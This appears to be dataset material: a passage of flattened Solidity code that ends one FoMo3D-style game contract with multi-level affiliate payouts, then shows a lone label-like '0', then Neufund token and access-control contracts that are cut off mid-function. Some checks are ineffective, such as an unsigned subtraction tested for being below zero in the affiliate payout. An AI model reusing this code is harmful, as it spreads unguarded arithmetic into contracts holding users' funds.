_name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); uint8 _level = PlayerBook.getPlayerLevel(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; plyr_[_pID].level = _level; } function determinePID(OPKdatasets.EventReturns memory _eventData_) private returns (OPKdatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { reloadPlayerInfo(msg.sender); _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, OPKdatasets.EventReturns memory _eventData_) private returns (OPKdatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function toCom(uint256 _com) private { Community_Wallet1.transfer(_com / 2); Community_Wallet2.transfer(_com / 2); } function endRound(OPKdatasets.EventReturns memory _eventData_) private returns (OPKdatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _opk = (_pot.mul(potSplit_[_winTID].opk)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_opk); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); toCom(_com); round_[_rID].mask = _ppt.add(round_[_rID].mask); if (_opk > 0) Divies.deposit.value(_opk)(); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.OPKAmount = _opk; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function calculateAffiliate(uint256 _rID, uint256 _pID, uint256 _aff) private returns(uint256) { uint8 _alreadycal = 4; uint256 _oID = _pID; uint256 _used = 0; uint256 _fid = plyr_[_pID].laff; for (uint8 i = 0; i <10; i++) { if (plyr_[_fid].level == 0) { break; } if (_alreadycal <= 1) { break; } if (plyr_[_fid].level < _alreadycal) { uint256 _ai = _aff / 10 * levelRate_[plyr_[_fid].level]; if (_used == 0) { _ai += (_aff / 10) * levelRate_[plyr_[_fid].level+1]; } if (plyr_[_fid].level == 1) { _ai = _aff.sub(_used); _used = _aff; } else { _used += _ai; } plyr_[_fid].aff = _ai.add(plyr_[_fid].aff); emit OPKevents.onAffiliateDistribute(_pID,plyr_[_pID].addr,_fid,plyr_[_fid].addr,plyr_[_fid].level,_ai,now); emit OPKevents.onAffiliatePayout(_fid, plyr_[_fid].addr, plyr_[_fid].name, _rID, _pID, _ai, plyr_[_fid].level, now); _alreadycal = plyr_[_fid].level; _pID = _fid; } if (plyr_[_fid].laff == 0 || plyr_[_fid].laff == _pID) { break; } _fid = plyr_[_fid].laff; } emit OPKevents.onAffiliateDistributeLeft(_oID,(_aff - _used)); if ((_aff - _used) < 0) { return 0; } return (_aff - _used); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, OPKdatasets.EventReturns memory _eventData_) private returns(OPKdatasets.EventReturns) { uint256 _com = _eth / 100 * 3; uint256 _opk; toCom(_com); uint256 _long = _eth / 100; otherOPK_.potSwap.value(_long)(); uint256 _aff = _eth / 10; uint256 _aff_left; if (_affID != _pID && plyr_[_affID].name != '') { _aff_left = calculateAffiliate(_rID,_pID,_aff); }else { _opk = _aff; } _opk = _opk.add((_eth.mul(fees_[_team].opk)) / (100)); if (_opk > 0) { Divies.deposit.value(_opk)(); _eventData_.OPKAmount = _opk.add(_eventData_.OPKAmount); } if (_aff_left > 0) { PlayerBook.deposit.value(_aff_left)(); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit OPKevents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, OPKdatasets.EventReturns memory _eventData_) private returns(OPKdatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].opk)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, OPKdatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit OPKevents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.OPKAmount, _eventData_.genAmount, _eventData_.potAmount, 0 ); } bool public activated_ = false; function activate() onlyDevs() public { require(address(otherOPK_) != address(0), "must link to other FoMo3D first"); require(activated_ == false, "fomo3d already activated"); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } function setOtherFomo(address _otherOPK) onlyDevs() public { otherOPK_ = otherFoMo3D(_otherOPK); } }
0
pragma solidity 0.4.25; contract IAccessPolicy { function allowed( address subject, bytes32 role, address object, bytes4 verb ) public returns (bool); } contract IAccessControlled { event LogAccessPolicyChanged( address controller, IAccessPolicy oldPolicy, IAccessPolicy newPolicy ); function setAccessPolicy(IAccessPolicy newPolicy, address newAccessController) public; function accessPolicy() public constant returns (IAccessPolicy); } contract StandardRoles { bytes32 internal constant ROLE_ACCESS_CONTROLLER = 0xac42f8beb17975ed062dcb80c63e6d203ef1c2c335ced149dc5664cc671cb7da; } contract AccessControlled is IAccessControlled, StandardRoles { IAccessPolicy private _accessPolicy; modifier only(bytes32 role) { require(_accessPolicy.allowed(msg.sender, role, this, msg.sig)); _; } constructor(IAccessPolicy policy) internal { require(address(policy) != 0x0); _accessPolicy = policy; } function setAccessPolicy(IAccessPolicy newPolicy, address newAccessController) public only(ROLE_ACCESS_CONTROLLER) { require(newPolicy.allowed(newAccessController, ROLE_ACCESS_CONTROLLER, this, msg.sig)); IAccessPolicy oldPolicy = _accessPolicy; _accessPolicy = newPolicy; emit LogAccessPolicyChanged(msg.sender, oldPolicy, newPolicy); } function accessPolicy() public constant returns (IAccessPolicy) { return _accessPolicy; } } contract AccessRoles { bytes32 internal constant ROLE_NEUMARK_ISSUER = 0x921c3afa1f1fff707a785f953a1e197bd28c9c50e300424e015953cbf120c06c; bytes32 internal constant ROLE_NEUMARK_BURNER = 0x19ce331285f41739cd3362a3ec176edffe014311c0f8075834fdd19d6718e69f; bytes32 internal constant ROLE_SNAPSHOT_CREATOR = 0x08c1785afc57f933523bc52583a72ce9e19b2241354e04dd86f41f887e3d8174; bytes32 internal constant ROLE_TRANSFER_ADMIN = 0xb6527e944caca3d151b1f94e49ac5e223142694860743e66164720e034ec9b19; bytes32 internal constant ROLE_RECLAIMER = 0x0542bbd0c672578966dcc525b30aa16723bb042675554ac5b0362f86b6e97dc5; bytes32 internal constant ROLE_PLATFORM_OPERATOR_REPRESENTATIVE = 0xb2b321377653f655206f71514ff9f150d0822d062a5abcf220d549e1da7999f0; bytes32 internal constant ROLE_EURT_DEPOSIT_MANAGER = 0x7c8ecdcba80ce87848d16ad77ef57cc196c208fc95c5638e4a48c681a34d4fe7; bytes32 internal constant ROLE_IDENTITY_MANAGER = 0x32964e6bc50f2aaab2094a1d311be8bda920fc4fb32b2fb054917bdb153a9e9e; bytes32 internal constant ROLE_EURT_LEGAL_MANAGER = 0x4eb6b5806954a48eb5659c9e3982d5e75bfb2913f55199877d877f157bcc5a9b; bytes32 internal constant ROLE_UNIVERSE_MANAGER = 0xe8d8f8f9ea4b19a5a4368dbdace17ad71a69aadeb6250e54c7b4c7b446301738; bytes32 internal constant ROLE_GAS_EXCHANGE = 0x9fe43636e0675246c99e96d7abf9f858f518b9442c35166d87f0934abef8a969; bytes32 internal constant ROLE_TOKEN_RATE_ORACLE = 0xa80c3a0c8a5324136e4c806a778583a2a980f378bdd382921b8d28dcfe965585; } contract IdentityRecord { struct IdentityClaims { bool isVerified; bool isSophisticatedInvestor; bool hasBankAccount; bool accountFrozen; } function deserializeClaims(bytes32 data) internal pure returns (IdentityClaims memory claims) { assembly { mstore(claims, and(data, 0x1)) mstore(add(claims, 0x20), div(and(data, 0x2), 0x2)) mstore(add(claims, 0x40), div(and(data, 0x4), 0x4)) mstore(add(claims, 0x60), div(and(data, 0x8), 0x8)) } } } contract IIdentityRegistry { event LogSetClaims( address indexed identity, bytes32 oldClaims, bytes32 newClaims ); function getClaims(address identity) public constant returns (bytes32); function setClaims(address identity, bytes32 oldClaims, bytes32 newClaims) public; } contract KnownInterfaces { bytes4 internal constant KNOWN_INTERFACE_NEUMARK = 0xeb41a1bd; bytes4 internal constant KNOWN_INTERFACE_ETHER_TOKEN = 0x8cf73cf1; bytes4 internal constant KNOWN_INTERFACE_EURO_TOKEN = 0x83c3790b; bytes4 internal constant KNOWN_INTERFACE_IDENTITY_REGISTRY = 0x0a72e073; bytes4 internal constant KNOWN_INTERFACE_TOKEN_EXCHANGE_RATE_ORACLE = 0xc6e5349e; bytes4 internal constant KNOWN_INTERFACE_FEE_DISBURSAL = 0xf4c848e8; bytes4 internal constant KNOWN_INTERFACE_PLATFORM_PORTFOLIO = 0xaa1590d0; bytes4 internal constant KNOWN_INTERFACE_TOKEN_EXCHANGE = 0xddd7a521; bytes4 internal constant KNOWN_INTERFACE_GAS_EXCHANGE = 0x89dbc6de; bytes4 internal constant KNOWN_INTERFACE_ACCESS_POLICY = 0xb05049d9; bytes4 internal constant KNOWN_INTERFACE_EURO_LOCK = 0x2347a19e; bytes4 internal constant KNOWN_INTERFACE_ETHER_LOCK = 0x978a6823; bytes4 internal constant KNOWN_INTERFACE_ICBM_EURO_LOCK = 0x36021e14; bytes4 internal constant KNOWN_INTERFACE_ICBM_ETHER_LOCK = 0x0b58f006; bytes4 internal constant KNOWN_INTERFACE_ICBM_ETHER_TOKEN = 0xae8b50b9; bytes4 internal constant KNOWN_INTERFACE_ICBM_EURO_TOKEN = 0xc2c6cd72; bytes4 internal constant KNOWN_INTERFACE_ICBM_COMMITMENT = 0x7f2795ef; bytes4 internal constant KNOWN_INTERFACE_FORK_ARBITER = 0x2fe7778c; bytes4 internal constant KNOWN_INTERFACE_PLATFORM_TERMS = 0x75ecd7f8; bytes4 internal constant KNOWN_INTERFACE_UNIVERSE = 0xbf202454; bytes4 internal constant KNOWN_INTERFACE_COMMITMENT = 0xfa0e0c60; bytes4 internal constant KNOWN_INTERFACE_EQUITY_TOKEN_CONTROLLER = 0xfa30b2f1; bytes4 internal constant KNOWN_INTERFACE_EQUITY_TOKEN = 0xab9885bb; } contract IContractId { function contractId() public pure returns (bytes32 id, uint256 version); } contract ITokenController { function onTransfer(address broker, address from, address to, uint256 amount) public constant returns (bool allow); function onApprove(address owner, address spender, uint256 amount) public constant returns (bool allow); function onGenerateTokens(address sender, address owner, uint256 amount) public constant returns (bool allow); function onDestroyTokens(address sender, address owner, uint256 amount) public constant returns (bool allow); function onChangeTokenController(address sender, address newController) public constant returns (bool); function onAllowance(address owner, address spender) public constant returns (uint256 allowanceOverride); } contract IEthereumForkArbiter { event LogForkAnnounced( string name, string url, uint256 blockNumber ); event LogForkSigned( uint256 blockNumber, bytes32 blockHash ); function nextForkName() public constant returns (string); function nextForkUrl() public constant returns (string); function nextForkBlockNumber() public constant returns (uint256); function lastSignedBlockNumber() public constant returns (uint256); function lastSignedBlockHash() public constant returns (bytes32); function lastSignedTimestamp() public constant returns (uint256); } contract IAgreement { event LogAgreementAccepted( address indexed accepter ); event LogAgreementAmended( address contractLegalRepresentative, string agreementUri ); function amendAgreement(string agreementUri) public; function currentAgreement() public constant returns ( address contractLegalRepresentative, uint256 signedBlockTimestamp, string agreementUri, uint256 index ); function pastAgreement(uint256 amendmentIndex) public constant returns ( address contractLegalRepresentative, uint256 signedBlockTimestamp, string agreementUri, uint256 index ); function agreementSignedAtBlock(address signatory) public constant returns (uint256 blockNo); function amendmentsCount() public constant returns (uint256); } contract Agreement is IAgreement, AccessControlled, AccessRoles { struct SignedAgreement { address contractLegalRepresentative; uint256 signedBlockTimestamp; string agreementUri; } IEthereumForkArbiter private ETHEREUM_FORK_ARBITER; SignedAgreement[] private _amendments; mapping(address => uint256) private _signatories; modifier acceptAgreement(address accepter) { acceptAgreementInternal(accepter); _; } modifier onlyLegalRepresentative(address legalRepresentative) { require(mCanAmend(legalRepresentative)); _; } constructor(IAccessPolicy accessPolicy, IEthereumForkArbiter forkArbiter) AccessControlled(accessPolicy) internal { require(forkArbiter != IEthereumForkArbiter(0x0)); ETHEREUM_FORK_ARBITER = forkArbiter; } function amendAgreement(string agreementUri) public onlyLegalRepresentative(msg.sender) { SignedAgreement memory amendment = SignedAgreement({ contractLegalRepresentative: msg.sender, signedBlockTimestamp: block.timestamp, agreementUri: agreementUri }); _amendments.push(amendment); emit LogAgreementAmended(msg.sender, agreementUri); } function ethereumForkArbiter() public constant returns (IEthereumForkArbiter) { return ETHEREUM_FORK_ARBITER; } function currentAgreement() public constant returns ( address contractLegalRepresentative, uint256 signedBlockTimestamp, string agreementUri, uint256 index ) { require(_amendments.length > 0); uint256 last = _amendments.length - 1; SignedAgreement storage amendment = _amendments[last]; return ( amendment.contractLegalRepresentative, amendment.signedBlockTimestamp, amendment.agreementUri, last ); } function pastAgreement(uint256 amendmentIndex) public constant returns ( address contractLegalRepresentative, uint256 signedBlockTimestamp, string agreementUri, uint256 index ) { SignedAgreement storage amendment = _amendments[amendmentIndex]; return ( amendment.contractLegalRepresentative, amendment.signedBlockTimestamp, amendment.agreementUri, amendmentIndex ); } function agreementSignedAtBlock(address signatory) public constant returns (uint256 blockNo) { return _signatories[signatory]; } function amendmentsCount() public constant returns (uint256) { return _amendments.length; } function acceptAgreementInternal(address accepter) internal { if(_signatories[accepter] == 0) { require(_amendments.length > 0); _signatories[accepter] = block.number; emit LogAgreementAccepted(accepter); } } function mCanAmend(address legalRepresentative) internal returns (bool) { return accessPolicy().allowed(legalRepresentative, ROLE_PLATFORM_OPERATOR_REPRESENTATIVE, this, msg.sig); } } contract IsContract { function isContract(address addr) internal constant returns (bool) { uint256 size; assembly { size := extcodesize(addr) } return size > 0; } } contract NeumarkIssuanceCurve { uint256 private constant NEUMARK_CAP = 1500000000000000000000000000; uint256 private constant INITIAL_REWARD_FRACTION = 6500000000000000000; uint256 private constant ISSUANCE_LIMIT_EUR_ULPS = 8300000000000000000000000000; uint256 private constant LINEAR_APPROX_LIMIT_EUR_ULPS = 2100000000000000000000000000; uint256 private constant NEUMARKS_AT_LINEAR_LIMIT_ULPS = 1499832501287264827896539871; uint256 private constant TOT_LINEAR_NEUMARKS_ULPS = NEUMARK_CAP - NEUMARKS_AT_LINEAR_LIMIT_ULPS; uint256 private constant TOT_LINEAR_EUR_ULPS = ISSUANCE_LIMIT_EUR_ULPS - LINEAR_APPROX_LIMIT_EUR_ULPS; function incremental(uint256 totalEuroUlps, uint256 euroUlps) public pure returns (uint256 neumarkUlps) { require(totalEuroUlps + euroUlps >= totalEuroUlps); uint256 from = cumulative(totalEuroUlps); uint256 to = cumulative(totalEuroUlps + euroUlps); assert(to >= from); return to - from; } function incrementalInverse(uint256 totalEuroUlps, uint256 burnNeumarkUlps) public pure returns (uint256 euroUlps) { uint256 totalNeumarkUlps = cumulative(totalEuroUlps); require(totalNeumarkUlps >= burnNeumarkUlps); uint256 fromNmk = totalNeumarkUlps - burnNeumarkUlps; uint newTotalEuroUlps = cumulativeInverse(fromNmk, 0, totalEuroUlps); assert(totalEuroUlps >= newTotalEuroUlps); return totalEuroUlps - newTotalEuroUlps; } function incrementalInverse(uint256 totalEuroUlps, uint256 burnNeumarkUlps, uint256 minEurUlps, uint256 maxEurUlps) public pure returns (uint256 euroUlps) { uint256 totalNeumarkUlps = cumulative(totalEuroUlps); require(totalNeumarkUlps >= burnNeumarkUlps); uint256 fromNmk = totalNeumarkUlps - burnNeumarkUlps; uint newTotalEuroUlps = cumulativeInverse(fromNmk, minEurUlps, maxEurUlps); assert(totalEuroUlps >= newTotalEuroUlps); return totalEuroUlps - newTotalEuroUlps; } function cumulative(uint256 euroUlps) public pure returns(uint256 neumarkUlps) { if (euroUlps >= ISSUANCE_LIMIT_EUR_ULPS) { return NEUMARK_CAP; } if (euroUlps >= LINEAR_APPROX_LIMIT_EUR_ULPS) { return NEUMARKS_AT_LINEAR_LIMIT_ULPS + (TOT_LINEAR_NEUMARKS_ULPS * (euroUlps - LINEAR_APPROX_LIMIT_EUR_ULPS)) / TOT_LINEAR_EUR_ULPS; } uint256 d = 230769230769230769230769231; uint256 term = NEUMARK_CAP; uint256 sum = 0; uint256 denom = d; do assembly { term := div(mul(term, euroUlps), denom) sum := add(sum, term) denom := add(denom, d) term := div(mul(term, euroUlps), denom) sum := sub(sum, term) denom := add(denom, d) } while (term != 0); return sum; } function cumulativeInverse(uint256 neumarkUlps, uint256 minEurUlps, uint256 maxEurUlps) public pure returns (uint256 euroUlps) { require(maxEurUlps >= minEurUlps); require(cumulative(minEurUlps) <= neumarkUlps); require(cumulative(maxEurUlps) >= neumarkUlps); uint256 min = minEurUlps; uint256 max = maxEurUlps; while (max > min) { uint256 mid = (max + min) / 2; uint256 val = cumulative(mid); if (val < neumarkUlps) { min = mid + 1; } else { max = mid; } } return max; } function neumarkCap() public pure returns (uint256) { return NEUMARK_CAP; } function initialRewardFraction() public pure returns (uint256) { return INITIAL_REWARD_FRACTION; } } contract IBasicToken { event Transfer( address indexed from, address indexed to, uint256 amount ); function totalSupply() public constant returns (uint256); function balanceOf(address owner) public constant returns (uint256 balance); function transfer(address to, uint256 amount) public returns (bool success); } contract Reclaimable is AccessControlled, AccessRoles { IBasicToken constant internal RECLAIM_ETHER = IBasicToken(0x0); function reclaim(IBasicToken token) public only(ROLE_RECLAIMER) { address reclaimer = msg.sender; if(token == RECLAIM_ETHER) { reclaimer.transfer(address(this).balance); } else { uint256 balance = token.balanceOf(this); require(token.transfer(reclaimer, balance)); } } } contract ISnapshotable { event LogSnapshotCreated(uint256 snapshotId); function createSnapshot() public returns (uint256); function currentSnapshotId() public constant returns (uint256); } contract MSnapshotPolicy { function mAdvanceSnapshotId() internal returns (uint256); function mCurrentSnapshotId() internal constant returns (uint256); } contract Daily is MSnapshotPolicy { uint256 private MAX_TIMESTAMP = 3938453320844195178974243141571391; constructor(uint256 start) internal { if (start > 0) { uint256 base = dayBase(uint128(block.timestamp)); require(start >= base); require(start < base + 2**128); } } function snapshotAt(uint256 timestamp) public constant returns (uint256) { require(timestamp < MAX_TIMESTAMP); return dayBase(uint128(timestamp)); } function mAdvanceSnapshotId() internal returns (uint256) { return mCurrentSnapshotId(); } function mCurrentSnapshotId() internal constant returns (uint256) { return dayBase(uint128(block.timestamp)); } function dayBase(uint128 timestamp) internal pure returns (uint256) { return 2**128 * (uint256(timestamp) / 1 days); } } contract DailyAndSnapshotable is Daily, ISnapshotable { uint256 private _currentSnapshotId; constructor(uint256 start) internal Daily(start) { if (start > 0) { _currentSnapshotId = start; } } function createSnapshot() public returns (uint256) { uint256 base = dayBase(uint128(block.timestamp)); if (base > _currentSnapshotId) { _currentSnapshotId = base; } else { _currentSnapshotId += 1; } emit LogSnapshotCreated(_currentSnapshotId); return _currentSnapshotId; } function mAdvanceSnapshotId() internal returns (uint256) { uint256 base = dayBase(uint128(block.timestamp)); if (base > _currentSnapshotId) { _currentSnapshotId = base; emit LogSnapshotCreated(base); } return _currentSnapshotId; } function mCurrentSnapshotId() internal constant returns (uint256) { uint256 base = dayBase(uint128(block.timestamp)); return base > _currentSnapshotId ? base : _currentSnapshotId; } } contract ITokenMetadata { function symbol() public constant returns (string); function name() public constant returns (string); function decimals() public constant returns (uint8); } contract TokenMetadata is ITokenMetadata { string private NAME; string private SYMBOL; uint8 private DECIMALS; string private VERSION; constructor( string tokenName, uint8 decimalUnits, string tokenSymbol, string version ) public { NAME = tokenName; SYMBOL = tokenSymbol; DECIMALS = decimalUnits; VERSION = version; } function name() public constant returns (string) { return NAME; } function symbol() public constant returns (string) { return SYMBOL; } function decimals() public constant returns (uint8) { return DECIMALS; } function version() public constant returns (string) { return VERSION; } } contract IERC20Allowance { event Approval( address indexed owner, address indexed spender, uint256 amount ); function allowance(address owner, address spender) public constant returns (uint256 remaining); function approve(address spender, uint256 amount) public returns (bool success); function transferFrom(address from, address to, uint256 amount) public returns (bool success); } contract IERC20Token is IBasicToken, IERC20Allowance { } contract MTokenAllowanceController { function mOnApprove( address owner, address spender, uint256 amount ) internal returns (bool allow); function mAllowanceOverride( address owner, address spender ) internal constant returns (uint256 allowance); } contract MTokenTransferController { function mOnTransfer( address from, address to, uint256 amount ) internal returns (bool allow); } contract MTokenController is MTokenTransferController, MTokenAllowanceController { } contract MTokenTransfer { function mTransfer( address from, address to, uint256 amount ) internal; } contract IERC677Callback { function receiveApproval( address from, uint256 amount, address token, bytes data ) public returns (bool success); } contract IERC677Allowance is IERC20Allowance { function approveAndCall(address spender, uint256 amount, bytes extraData) public returns (bool success); } contract IERC677Token is IERC20Token, IERC677Allowance { } contract TokenAllowance is MTokenTransfer, MTokenAllowanceController, IERC20Allowance, IERC677Token { mapping (address => mapping (address => uint256)) private _allowed; constructor() internal { } function allowance(address owner, address spender) public constant returns (uint256 remaining) { uint256 override = mAllowanceOverride(owner, spender); if (override > 0) { return override; } return _allowed[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool success) { require(mOnApprove(msg.sender, spender, amount)); require((amount == 0 || _allowed[msg.sender][spender] == 0) && mAllowanceOverride(msg.sender, spender) == 0); _allowed[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transferFrom(address from, address to, uint256 amount) public returns (bool success) { uint256 allowed = mAllowanceOverride(from, msg.sender); if (allowed == 0) { allowed = _allowed[from][msg.sender]; _allowed[from][msg.sender] -= amount; } require(allowed >= amount); mTransfer(from, to, amount); return true; } function approveAndCall( address spender, uint256 amount, bytes extraData ) public returns (bool success) { require(approve(spender, amount)); success = IERC677Callback(spender).receiveApproval( msg.sender, amount, this, extraData ); require(success); return true; } function mAllowanceOverride( address , address ) internal constant returns (uint256) { return 0; } } contract Snapshot is MSnapshotPolicy { struct Values { uint256 snapshotId; uint256 value; } function hasValue( Values[] storage values ) internal constant returns (bool) { return values.length > 0; } function hasValueAt( Values[] storage values, uint256 snapshotId ) internal constant returns (bool) { require(snapshotId <= mCurrentSnapshotId()); return values.length > 0 && values[0].snapshotId <= snapshotId; } function getValue( Values[] storage values, uint256 defaultValue ) internal constant returns (uint256) { if (values.length == 0) { return defaultValue; } else { uint256 last = values.length - 1; return values[last].value; } } function getValueAt( Values[] storage values, uint256 snapshotId, uint256 defaultValue ) internal constant returns (uint256) { require(snapshotId <= mCurrentSnapshotId()); if (values.length == 0) { return defaultValue; } uint256 last = values.length - 1; uint256 lastSnapshot = values[last].snapshotId; if (snapshotId >= lastSnapshot) { return values[last].value; } uint256 firstSnapshot = values[0].snapshotId; if (snapshotId < firstSnapshot) { return defaultValue; } uint256 min = 0; uint256 max = last; while (max > min) { uint256 mid = (max + min + 1) / 2; if (values[mid].snapshotId <= snapshotId) { min = mid; } else { max = mid - 1; } } return values[min].value; } function setValue( Values[] storage values, uint256 value ) internal { uint256 currentSnapshotId = mAdvanceSnapshotId(); bool empty = values.length == 0; if (empty) { values.push( Values({ snapshotId: currentSnapshotId, value: value }) ); return; } uint256 last = values.length - 1; bool hasNewSnapshot = values[last].snapshotId < currentSnapshotId; if (hasNewSnapshot) { bool unmodified = values[last].value == value; if (unmodified) { return; } values.push( Values({ snapshotId: currentSnapshotId, value: value }) ); } else { bool previousUnmodified = last > 0 && values[last - 1].value == value; if (previousUnmodified) { delete values[last]; values.length--; return; } values[last].value = value; } } } contract ITokenSnapshots { function totalSupplyAt(uint256 snapshotId) public constant returns(uint256); function balanceOfAt(address owner, uint256 snapshotId) public constant returns (uint256); function currentSnapshotId() public constant returns (uint256); } contract IClonedTokenParent is ITokenSnapshots { function parentToken() public constant returns(IClonedTokenParent parent); function parentSnapshotId() public constant returns(uint256 snapshotId); } contract BasicSnapshotToken is MTokenTransfer, MTokenTransferController, IClonedTokenParent, IBasicToken, Snapshot { IClonedTokenParent private PARENT_TOKEN; uint256 private PARENT_SNAPSHOT_ID; mapping (address => Values[]) internal _balances; Values[] internal _totalSupplyValues; constructor( IClonedTokenParent parentToken, uint256 parentSnapshotId ) Snapshot() internal { PARENT_TOKEN = parentToken; if (parentToken == address(0)) { require(parentSnapshotId == 0); } else { if (parentSnapshotId == 0) { require(parentToken.currentSnapshotId() > 0); PARENT_SNAPSHOT_ID = parentToken.currentSnapshotId() - 1; } else { PARENT_SNAPSHOT_ID = parentSnapshotId; } } } function totalSupply() public constant returns (uint256) { return totalSupplyAtInternal(mCurrentSnapshotId()); } function balanceOf(address owner) public constant returns (uint256 balance) { return balanceOfAtInternal(owner, mCurrentSnapshotId()); } function transfer(address to, uint256 amount) public returns (bool success) { mTransfer(msg.sender, to, amount); return true; } function totalSupplyAt(uint256 snapshotId) public constant returns(uint256) { return totalSupplyAtInternal(snapshotId); } function balanceOfAt(address owner, uint256 snapshotId) public constant returns (uint256) { return balanceOfAtInternal(owner, snapshotId); } function currentSnapshotId() public constant returns (uint256) { return mCurrentSnapshotId(); } function parentToken() public constant returns(IClonedTokenParent parent) { return PARENT_TOKEN; } function parentSnapshotId() public constant returns(uint256 snapshotId) { return PARENT_SNAPSHOT_ID; } function allBalancesOf(address owner) external constant returns (uint256[2][]) { Values[] storage values = _balances[owner]; uint256[2][] memory balances = new uint256[2][](values.length); for(uint256 ii = 0; ii < values.length; ++ii) { balances[ii] = [values[ii].snapshotId, values[ii].value]; } return balances; } function totalSupplyAtInternal(uint256 snapshotId) internal constant returns(uint256) { Values[] storage values = _totalSupplyValues; if (hasValueAt(values, snapshotId)) { return getValueAt(values, snapshotId, 0); } if (address(PARENT_TOKEN) != 0) { uint256 earlierSnapshotId = PARENT_SNAPSHOT_ID > snapshotId ? snapshotId : PARENT_SNAPSHOT_ID; return PARENT_TOKEN.totalSupplyAt(earlierSnapshotId); } return 0; } function balanceOfAtInternal(address owner, uint256 snapshotId) internal constant returns (uint256) { Values[] storage values = _balances[owner]; if (hasValueAt(values, snapshotId)) { return getValueAt(values, snapshotId, 0); } if (PARENT_TOKEN != address(0)) { uint256 earlierSnapshotId = PARENT_SNAPSHOT_ID > snapshotId ? snapshotId : PARENT_SNAPSHOT_ID; return PARENT_TOKEN.balanceOfAt(owner, earlierSnapshotId); } return 0; } function mTransfer( address from, address to, uint256 amount ) internal { require(to != address(0)); require(parentToken() == address(0) || parentSnapshotId() < parentToken().currentSnapshotId()); 